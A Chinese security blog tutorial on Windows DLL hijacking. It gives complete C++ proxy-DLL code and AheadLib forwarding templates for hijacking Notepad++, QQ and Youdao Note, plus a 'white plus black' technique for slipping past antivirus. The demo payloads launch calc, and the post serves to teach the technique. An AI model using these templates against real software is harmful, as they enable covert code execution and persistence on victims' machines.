<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    DLL劫持思路和研究

    VSole2021-10-25 10:13:22

    基礎知識

    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。

    在windows平臺下,很多應用程序的很多功能是相似的,拋去ui等等來說,大致的功能都差不多,比如都得調用窗口,都得調用內存管理的模塊來分配內存,都得調用io模塊去進行文件操作,讀寫文件等等,這些模塊的具體表現就是DLL文件。

    Windows操作系統通過“DLL路徑搜索目錄順序”和“Know DLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。

    DLL路徑搜索目錄順序

    1.程序所在目錄

    2.程序加載目錄(SetCurrentDirectory)

    3.系統目錄即 SYSTEM32 目錄

    4.16位系統目錄即 SYSTEM 目錄

    5.Windows目錄

    6.PATH環境變量中列出的目錄

    Know DLLs注冊表項

    Know DLLs注冊表項里的DLL列表在應用程序運行后就已經加入到了內核空間中,多個進程公用這些模塊,必須具有非常高的權限才能修改。

    Know DLLs注冊表項的路徑為HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

    手動劫持

    劫持應用中沒有的dll

    這里dll劫持的選用的是notepad++,注意版本問題,我第一次進行dll劫持的時候使用的是最新版本,導致我鼓搗半天都沒能正確執行,搞得我一臉懵逼,百度之后才發現notepad后面的版本修復了漏洞,所以這里選的是6.6.6的版本

    使用到Procmon.exe程序

    這里打開過后設置幾個過濾條件,分別是進程名、路徑以及結果

    然后這里找一個需要用到loadlibrary這個api的dll,這里找有這個api的原因是因為如果該dll的調用棧中存在有 **LoadLibrary(Ex)**,說明這個DLL是被進程所動態加載的。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。

    LoadLibraryLoadLibraryEx一個是本地加載,一個是遠程加載,如果DLL不在調用的同一目錄下,就可以使用LoadLibrary(L"DLL絕對路徑")加載。但是如果DLL內部又調用一個DLL,就需要使用LoadLibraryEx進行遠程加載,語法如下

    LoadLibraryEx(“DLL絕對路徑”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
    

    LoadLibraryEx的最后一個參數設置為LOAD_WITH_ALTERED_SEARCH_PATH即可讓系統dll搜索順序從我們設置的目錄開始

    這里使用vs2019編譯一個dll

    這里使用到庫調用system()生成彈出一個計算器即可

    編譯并復制到Notepad++的根目錄下

    運行即可彈出計算器

    劫持應用中存在的dll

    這里改個條件,改為SUCCESS

    雙擊SciLexer.dll 然后看下stack,可以發現同樣存在loadlibrary。那就說明這個dll是動態加載的,并且不需要什么導出函數就可以成功被加載。并且是在程序在運行過程中完成的

    這時候我們就需要找這個dll的導出函數,導出函數是可以被外部訪問的。導出表包含 DLL 導出到其他可執行文件的每個函數的名稱,這些函數是 DLL 中的入口點;只有導出表中的導出函數可由其他可執行文件訪問。DLL 中的任何其他函數都是 DLL 私有的。

    在動態調用的時候,一般代碼通過loadlibrary去加載dll 并作為參數傳到到導出函數,這里看一下導入表,發現他這里有一個導出函數

    編寫dll時,有個重要的問題需要解決,那就是函數重命名——Name-Mangling。C++的編譯器通常會對函數名和變量名進行改編,這在鏈接的時候會出現一個嚴重的問題,假如dll是C++寫的,可執行文件是C寫的。在構建dll的時候,編譯器會對函數名進行改編,但是在構建可執行文件的時候,編譯器不會對函數名進行改。這個時候當鏈接器試圖鏈接可執行文件的時候,會發現可執行文件引用了一個不存在的符號并報錯,這里我就直接定義extern "C"來告訴編譯器不對變量名和函數名進行改編即可

    代碼如下,我們的目的就是讓程序本身去LoadLibrary去加載dll

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    #include 
    extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    void Scintilla_DirectFunction()
    {
        system("calc.exe");
    }
    

    生成dll并改名為SciLexer.dll,把原來的dll先放到桌面保存

    然后運行一下發現報錯了

    這里也沒有彈出計算器,這里就卡了很久,然后發現這里還可以用一種dll轉發的方式

    dll轉發顧名思義,就是要保留原來的dll,再生成一個惡意的dll執行代碼,代碼如下

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    # include "pch.h"
    # include 
    extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
    BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
    )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            system("calc");
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    void Scintilla_DirectFunction()
    {
        HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
        if (hDll)
        {
            //typedef 是定義了一個新的類型
            //DWORD是雙字類型 4個字節,API函數中有很多參數和返回值是DWORD
            //定義了類型EXPFUNC,并且返回類型是DWORD的函數的指針
            typedef DWORD(WINAPI* EXPFUNC)();
            EXPFUNC expFunc = NULL;
            expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
            if (expFunc)
            {
                expFunc();
            }
        }
        return;
    }
    

    然后把原dll改名為SciLexer_re.dll,并將生成的惡意dll改名為SciLexer.dll

    運行notepad++即可

    轉發對主程序的依賴非常的高,報錯是CreateWindowsEx()返回值為空報錯,當使用轉發,讓程序先走惡意的dll(SciLexer.dll),再走正常的dll的時候(SciLexer_re.dll),我們不清楚主程序的需求是什么可能是一個返回值,也可能參數不正確,這個時候都會導致主程序運行出錯。

    使用工具劫持

    直接轉發

    這里還是使用導入表進行劫持,首先用cff(下載地址:https://ntcore.com/files/CFF_Explorer.zip)打開QQ.exe的導入表,找一個不在`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路徑里面的dll進行劫持,因為在這個路徑里面的dll是優先加載的,加載之后已經進入內核空間,想要劫持難度很大。這里我選擇的是libuv.dll`進行劫持

    找到路徑下的libuv.dll

    然后使用到aheadlib這個工具,輸入dll就填QQ.exe路徑下的libuv.dll,輸出CPP會自動生成,原始DLL的名稱要記住,等下會替換

    點擊生成就會在目錄下生成一個.cpp文件

    打開看一下有一個入口函數

    新建一個vs dll項目,然后將.cpp的代碼復制進去,并加上和頭文件

    然后在入口函數的地方填上一個彈出計算器的語句

    將原dll文件改名為之前在軟件里面復制的名字libuvOrg.dll,并把我們生成的dll文件復制進去

    點擊QQ.exe即可彈出calc.exe

    這里分析一下導出函數的代碼,隨便選一行

    當程序想要調用程序中的uv_udp_open函數的時候,需要先LoadLibrary,即通過libuvOrg.uv_udp_open,@195去加載原始dll,那么libuvOrg.dll其實已經被轉發

    #pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")
    

    即時調用

    還是劫持之前的dll:libuv.dll,這里還是先輸入DLL,然后轉發的地方改為即時調用

    生成一個vs dll項目,把生成的libuv.cpp代碼copy到項目里面,然后加上#include "pch.h"#include

    在入口函數的地方添加上我們的惡意代碼

    然后把原dll改名為libuvOrg.dll,再把我們編譯生成的dll粘貼進去

    點擊QQ.exe即可完成劫持

    這里繼續看看代碼,調用導出函數之前先執行入口函數,函數執行完成過后return到Load函數,這里跟過去看看

    Load函數首先把libuvOrg.dll即原來的dll文件寫入緩沖區,使用LoadLibrary展開后通過wsprintf與原dll進行判斷,如果LoadLibrary成功則繼續調用InitializeAddresses()函數,繼續跟過去看看

    這里可以發現InitializeAddresses這個函數的作用都是調用GetAddress去Load函數的地址

    再看看導出函數

    程序要調用uv_async_init這個函數,就可以直接獲取原始dll中uv_async_init函數的地址

    #pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")
    

    直接用__asm jmp到原始dll的導出函數地址去完成功能即可

    對比之前用直接轉發出來的cpp,對比之前用直接轉發出來的cpp,直接轉發對主程序來說,其實就是調用了原來dll的某個函數。

    但是即時調用實際上是調用了劫持dll的某個函數,只不過那個函數會jmp到原本的dll中的相應函數的地址。達到的效果相同,但是實現的原理不同。

    白加黑

    白加黑,就是一個白exe,加上一個黑代碼,這里的黑可以是shellcode,也可以是dll。這里主要是嘗試一下之前判斷的工具的流程,使用導出函數

    這里找一個不在Know DLLs里面的dll,而且這個dll必須要用LoadLibrary進行加載,這里我找的是CrashRpt.dll,可以看到有4個導出函數

    那么這里用vs新建一個dll,把這4個導出函數由我們自己來寫,這里嘗試不轉發即時調用,如果不成功在嘗試轉發

    完整代碼如下

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    #include 
    #include 
    extern "C" __declspec(dllexport) void RptCleanup();
    extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
    extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
    extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();
    void RptCleanup()
    {
        system("calc");
    }
    void RptSetAdditionalInfo()
    {
    }
    void RptNcThreadListAddCurrent()
    {
    }
    void RptInitializeWithDefaultSettingsWithVersion()
    {
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    然后生成dll把原來的CrashRpt替換掉

    啟動有道云即可成功彈出計算器

    dll劫持loadlibrary
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    DLL劫持思路和研究
    2021-10-25 10:13:22
    基礎知識DLL文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。
    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。
    aDLL是一款功能強大的代碼分析工具,可以幫助廣大研究人員以自動化的方式識別并發現DLL劫持漏洞。
    一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
    DLL劫持的防御策略
    去年我分享了我發現的CVE-2020-3535:Cisco Webex Teams windows客戶端dll劫持漏洞。實際上我發現了兩個產品中都有這樣的代碼,分別是IBM(R) Db2(R)和VMware ThinApp。
    動態鏈接庫的方式以及Windows API指示使用它們的方式都可以用作任意代碼執行的接口,并協助惡意行為者實現其目標。DLL主要用于在系統上的應用程序和進程之間共享此內容,以便在為Windows創建應用程序時為程序員提供高度的靈活性。這意味著,如果DLL包含任何異常,則不會為調用EXE提供任何保護。這些函數接收一個路徑參數,該參數導致所請求的DLL,并向調用過程返回模塊的句柄。
    前言一次跟師傅交流時師傅談到有些EDR或AV,他們保護目標主機,甚至無進程,不經想到病毒實際上也常用這種技術。
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的殺毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL
    根據多次項目實戰中發現,office宏仍然是最高的成功率,在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識,也是不運行陌生的exe程序,但是對于word文檔則沒有足夠的安全意識,認為word文檔都是安全的。正是基于此心理狀態,office宏在釣魚中仍然占據重要成分。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类